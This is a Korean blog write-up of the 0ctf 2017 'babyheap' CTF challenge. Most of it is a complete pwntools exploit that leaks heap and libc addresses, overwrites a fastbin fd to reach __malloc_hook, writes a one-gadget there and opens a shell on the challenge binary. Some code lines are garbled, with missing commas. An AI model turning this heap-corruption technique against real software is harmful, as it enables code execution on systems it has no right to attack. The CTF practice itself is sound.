[0ctf 2017] babyheap

2018. 10. 20. 01:36

풀었습니다!

fastbin fd를 덮어서 이리저리 조작...


0x70 사이즈의 fastbin fd를 __malloc_hook의 주소로 덮어서 새로운 청크를 할당하여 그곳을 oneshot으로 덮어 쉘을 얻었습니다.


참고로 __malloc_hook은 사용자가 hook함수를 등록해놓았을 때, malloc 호출시 실행되는 함수로 보통 디버깅용도로 사용된다고합니다.

그래서 __malloc_hook 을 덮으면 malloc시에 원하는 함수를 실행시킬수 있습니다.


사실 타 라이트업이 굉장히 많기도해서 설명은 생략하고... 코드의 주석으로 대체!



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
 
conn = process("./0ctfbabyheap")
 
def Allocate(size):
    conn.recvuntil("Command: ")
    conn.sendline("1")
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    
def Fill(idx, size, content):
    conn.recvuntil("Command: ")
    conn.sendline("2")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    conn.recvuntil("Size: ")
    conn.sendline(str(size))
    conn.recvuntil("Content: ")
    conn.send(content)
    
def Free(idx):
    conn.recvuntil("Command: ")
    conn.sendline("3")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
    
def Dump(idx):
    conn.recvuntil("Command: ")
    conn.sendline("4")
    conn.recvuntil("Index: ")
    conn.sendline(str(idx))
 
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(10)
Allocate(128)
Allocate(0x60)
Allocate(0x60)
Allocate(0x60)
 
# stage1. fake chunk size 0x41 (idx:1)
# leak heap_address
payload = p64(0)*3
payload += p64(0x41)
Fill(0len(payload), payload)
Free(1)    # free idx:1
conn.sendline("c")
 
Allocate(48# reallocate idx:1 size is  0x21 -> 0x41
payload = p64(0)*3    
payload += p64(0x21)    ## calloc! so.. Recover idx 3 chunk
Fill(1len(payload), payload) 
 
Free(3# 3
conn.sendline("c")
Free(2# 2
conn.sendline("c")
 
# leak heap_addr
Fill(10x20"A"*0x20)
Dump(1)
conn.recvuntil("A"*0x20)
heap_addr = u64(conn.recv(6)+"\x00"*2)-0x60
log.info("heap_addr : "+hex(heap_addr));
 
# fastbin fd_overwrite
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p64(heap_addr+0x80# smallbin chunk address
Fill(0len(payload), payload)
 
Allocate(10# idx 2 
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)    # smallbin chunk size -> overwrite fastbin size
Fill(2len(payload), payload)
 
Allocate(10# idx 3 allocate fastbin(but this is smallbin chunk)
 
# Recover smallbin_size
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x91)
Fill(2len(payload), payload)
Free(4)
conn.sendline("c")
 
# leak Library Address
Dump(3)
conn.recvuntil("Content: \n")
libc_addr = u64(conn.recv(6)+"\x00"*2- 0x3c27b8
log.info("libc_addr : "+hex(libc_addr))
 
malloc_hook = libc_addr + 0x3c2740
oneshot = libc_addr + 0x4647c #0x4647c 0xe9415 0xea36d
log.info("malloc_hook : "+hex(malloc_hook))
log.info("oneshot : "+hex(oneshot))
 
## overwrite fd
Free(7)
conn.sendline("c")
Free(6)
conn.sendline("c")
 
payload = p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-0x13)
Fill(5len(payload), payload)
 
Allocate(0x60# idx 4
Allocate(0x60# idx 6
 
## overwrite malloc_hook -> oneshot
payload = "\x00"*0x3
payload += p64(oneshot)
Fill(6len(payload), payload)
 
Allocate(0x1# idx 4
 
conn.interactive()
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[PlaidCTF] ropasaurusrex  (0) 2018.08.27

+ Recent posts